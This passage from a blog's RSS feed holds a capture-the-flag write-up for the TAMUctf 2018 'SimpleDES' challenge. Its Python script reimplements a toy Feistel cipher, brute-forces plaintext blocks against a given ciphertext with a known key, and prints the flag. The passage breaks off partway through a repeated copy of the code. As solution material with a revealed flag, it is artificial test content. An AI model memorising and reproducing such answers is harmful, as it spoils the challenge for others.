</span></span></code></pre></div>]]></content></item><item><title>TAMUctf 18 - SimpleDES</title><link>https://theromanxpl0.it/posts/2018/03/tamuctf-18-simpledes/</link><pubDate>Sat, 03 Mar 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/03/tamuctf-18-simpledes/</guid><description>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">import&lt;/span> random
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">binaryStringToInt&lt;/span>(s):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0a8ff">int&lt;/span>(s[:&lt;span style="color:#d0bf69">8&lt;/span>], &lt;span style="color:#d0bf69">2&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">charToBinary&lt;/span>(c):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0a8ff">bin&lt;/span>(&lt;span style="color:#d0a8ff">ord&lt;/span>(c))[&lt;span style="color:#d0bf69">2&lt;/span>:].zfill(&lt;span style="color:#d0bf69">8&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">stringToBinary&lt;/span>(s):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r = &lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> c in s:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r += charToBinary(c)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> r
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">XORBinaryStrings&lt;/span>(a, b):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r = &lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> l = &lt;span style="color:#d0a8ff">min&lt;/span>(&lt;span style="color:#d0a8ff">len&lt;/span>(a), &lt;span style="color:#d0a8ff">len&lt;/span>(b))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> i in &lt;span style="color:#d0a8ff">range&lt;/span>(l):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r += &lt;span style="color:#d0a8ff">str&lt;/span>(&lt;span style="color:#d0a8ff">int&lt;/span>(a[i]) ^ &lt;span style="color:#d0a8ff">int&lt;/span>(b[i]))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> r
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">divideIntoBlocks&lt;/span>(s, N):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r = []
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">while&lt;/span> &lt;span style="color:#d0a8ff">len&lt;/span>(s) &amp;gt; &lt;span style="color:#d0bf69">0&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r.append(s[:N])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s = s[N:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> r
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">createSBoxS1&lt;/span>():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d = {}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0000&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;101&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0001&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;010&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0010&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;001&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0011&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;110&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0100&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;011&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0101&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;100&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0110&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;111&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0111&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;000&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1000&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;001&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1001&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;100&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1010&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;110&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1011&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;010&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1100&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;000&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1101&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;111&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1110&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;101&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1111&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;011&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> d
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">createSBoxS2&lt;/span>():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d = {}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0000&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;100&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0001&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;000&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0010&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;110&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0011&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;101&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0100&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;111&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0101&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;001&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0110&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;011&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;0111&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;010&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1000&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;101&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1001&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;011&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1010&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;000&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1011&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;111&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1100&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;110&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1101&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;010&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1110&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;001&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d[&lt;span style="color:#fc6a5d">&amp;#39;1111&amp;#39;&lt;/span>] = &lt;span style="color:#fc6a5d">&amp;#39;100&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> d
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">generateRandomString&lt;/span>(length):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r = &lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> i in &lt;span style="color:#d0a8ff">range&lt;/span>(length):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> c = random.randint(&lt;span style="color:#d0bf69">0&lt;/span>, &lt;span style="color:#d0bf69">255&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r += &lt;span style="color:#d0a8ff">chr&lt;/span>(c)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> r
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">simpleDES&lt;/span>(R, binKey, plaintext):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Methods to create our S-boxes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d1 = createSBoxS1()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d2 = createSBoxS2()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cyphertext = &lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Let&amp;#39;s use a list of chars instead of a string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> binaryKey = &lt;span style="color:#d0a8ff">list&lt;/span>(binKey)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Divide into blocks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tmp = stringToBinary(plaintext)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> blocks = divideIntoBlocks(tmp, &lt;span style="color:#d0bf69">12&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> i in &lt;span style="color:#d0a8ff">range&lt;/span>(&lt;span style="color:#d0a8ff">len&lt;/span>(blocks)):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> block = blocks[i]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Lr, Rr = block[:&lt;span style="color:#d0bf69">6&lt;/span>], block[&lt;span style="color:#d0bf69">6&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> r in &lt;span style="color:#d0a8ff">range&lt;/span>(R):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Remapping values of Rr&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Rr_remap = Rr[:&lt;span style="color:#d0bf69">2&lt;/span>] + Rr[&lt;span style="color:#d0bf69">3&lt;/span>:&lt;span style="color:#d0bf69">4&lt;/span>] + Rr[&lt;span style="color:#d0bf69">2&lt;/span>:&lt;span style="color:#d0bf69">3&lt;/span>] + Rr[&lt;span style="color:#d0bf69">3&lt;/span>:&lt;span style="color:#d0bf69">4&lt;/span>] + Rr[&lt;span style="color:#d0bf69">2&lt;/span>:&lt;span style="color:#d0bf69">3&lt;/span>] + Rr[&lt;span style="color:#d0bf69">4&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># XOR the result with 8 bits of key beginning with key[i*R+r]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> index = i*R+r
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xorLeft = &lt;span style="color:#d0bf69">8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> x = &lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">while&lt;/span> xorLeft &amp;gt; &lt;span style="color:#d0bf69">0&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tmp = &lt;span style="color:#d0a8ff">str&lt;/span>(&lt;span style="color:#d0a8ff">int&lt;/span>(binaryKey[index]) ^ &lt;span style="color:#d0a8ff">int&lt;/span>(Rr_remap[&lt;span style="color:#d0bf69">8&lt;/span>-xorLeft]))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> x += tmp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> index += &lt;span style="color:#d0bf69">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> index %= &lt;span style="color:#d0a8ff">len&lt;/span>(binaryKey)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xorLeft -= &lt;span style="color:#d0bf69">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Divide the result into 2 4-bit sections S1, S2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> S1, S2 = x[:&lt;span style="color:#d0bf69">4&lt;/span>], x[&lt;span style="color:#d0bf69">4&lt;/span>:&lt;span style="color:#d0bf69">8&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Concatenate the result of the S-boxes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v = d1[S1] + d2[S2]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># XOR the result with Lr&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Lr_xored = XORBinaryStrings(Lr, v)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cyphertext += Lr_xored
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Lr = Rr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Rr = Lr_xored
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> cyphertext
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>R = &lt;span style="color:#d0bf69">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>key = &lt;span style="color:#fc6a5d">&amp;#39;Mu&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>binaryKey = stringToBinary(key)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cypher = &lt;span style="color:#fc6a5d">&amp;#39;011001010010001010001100010110000001000110000101&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>i = &lt;span style="color:#d0bf69">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>flag = &lt;span style="color:#fc6a5d">&amp;#39;Gigem{&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>b = &lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">while&lt;/span> &lt;span style="color:#fc5fa3">True&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s = generateRandomString(&lt;span style="color:#d0bf69">6&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> binaryS = stringToBinary(s)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r = simpleDES(R, binaryKey, s)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> r[i:i+&lt;span style="color:#d0bf69">12&lt;/span>] == cypher[i:i+&lt;span style="color:#d0bf69">12&lt;/span>]:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> b += binaryS[i:i+&lt;span style="color:#d0bf69">12&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i += &lt;span style="color:#d0bf69">12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> i == &lt;span style="color:#d0bf69">48&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Finished&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">while&lt;/span> &lt;span style="color:#d0a8ff">len&lt;/span>(b) &amp;gt; &lt;span style="color:#d0bf69">0&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flag += &lt;span style="color:#d0a8ff">chr&lt;/span>(binaryStringToInt(b))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> b = b[&lt;span style="color:#d0bf69">8&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> flag + &lt;span style="color:#fc6a5d">&amp;#39;}&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This prints out our flag:
&lt;code>Gigem{M1N0N!}&lt;/code>&lt;/p></description><content type="html"><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> random
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">binaryStringToInt</span>(s):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">int</span>(s[:<span style="color:#d0bf69">8</span>], <span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">charToBinary</span>(c):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">bin</span>(<span style="color:#d0a8ff">ord</span>(c))[<span style="color:#d0bf69">2</span>:].zfill(<span style="color:#d0bf69">8</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">stringToBinary</span>(s):
</span></span><span style="display:flex;"><span>    r = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> c in s:
</span></span><span style="display:flex;"><span>        r += charToBinary(c)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> r
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">XORBinaryStrings</span>(a, b):
</span></span><span style="display:flex;"><span>    r = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    l = <span style="color:#d0a8ff">min</span>(<span style="color:#d0a8ff">len</span>(a), <span style="color:#d0a8ff">len</span>(b))
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(l):
</span></span><span style="display:flex;"><span>        r += <span style="color:#d0a8ff">str</span>(<span style="color:#d0a8ff">int</span>(a[i]) ^ <span style="color:#d0a8ff">int</span>(b[i]))
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> r
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">divideIntoBlocks</span>(s, N):
</span></span><span style="display:flex;"><span>    r = []
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(s) &gt; <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>        r.append(s[:N])
</span></span><span style="display:flex;"><span>        s = s[N:]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> r
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">createSBoxS1</span>():
</span></span><span style="display:flex;"><span>    d = {}
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0000&#39;</span>] = <span style="color:#fc6a5d">&#39;101&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0001&#39;</span>] = <span style="color:#fc6a5d">&#39;010&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0010&#39;</span>] = <span style="color:#fc6a5d">&#39;001&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0011&#39;</span>] = <span style="color:#fc6a5d">&#39;110&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0100&#39;</span>] = <span style="color:#fc6a5d">&#39;011&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0101&#39;</span>] = <span style="color:#fc6a5d">&#39;100&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0110&#39;</span>] = <span style="color:#fc6a5d">&#39;111&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0111&#39;</span>] = <span style="color:#fc6a5d">&#39;000&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1000&#39;</span>] = <span style="color:#fc6a5d">&#39;001&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1001&#39;</span>] = <span style="color:#fc6a5d">&#39;100&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1010&#39;</span>] = <span style="color:#fc6a5d">&#39;110&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1011&#39;</span>] = <span style="color:#fc6a5d">&#39;010&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1100&#39;</span>] = <span style="color:#fc6a5d">&#39;000&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1101&#39;</span>] = <span style="color:#fc6a5d">&#39;111&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1110&#39;</span>] = <span style="color:#fc6a5d">&#39;101&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1111&#39;</span>] = <span style="color:#fc6a5d">&#39;011&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> d
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">createSBoxS2</span>():
</span></span><span style="display:flex;"><span>    d = {}
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0000&#39;</span>] = <span style="color:#fc6a5d">&#39;100&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0001&#39;</span>] = <span style="color:#fc6a5d">&#39;000&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0010&#39;</span>] = <span style="color:#fc6a5d">&#39;110&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0011&#39;</span>] = <span style="color:#fc6a5d">&#39;101&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0100&#39;</span>] = <span style="color:#fc6a5d">&#39;111&#39;</span>
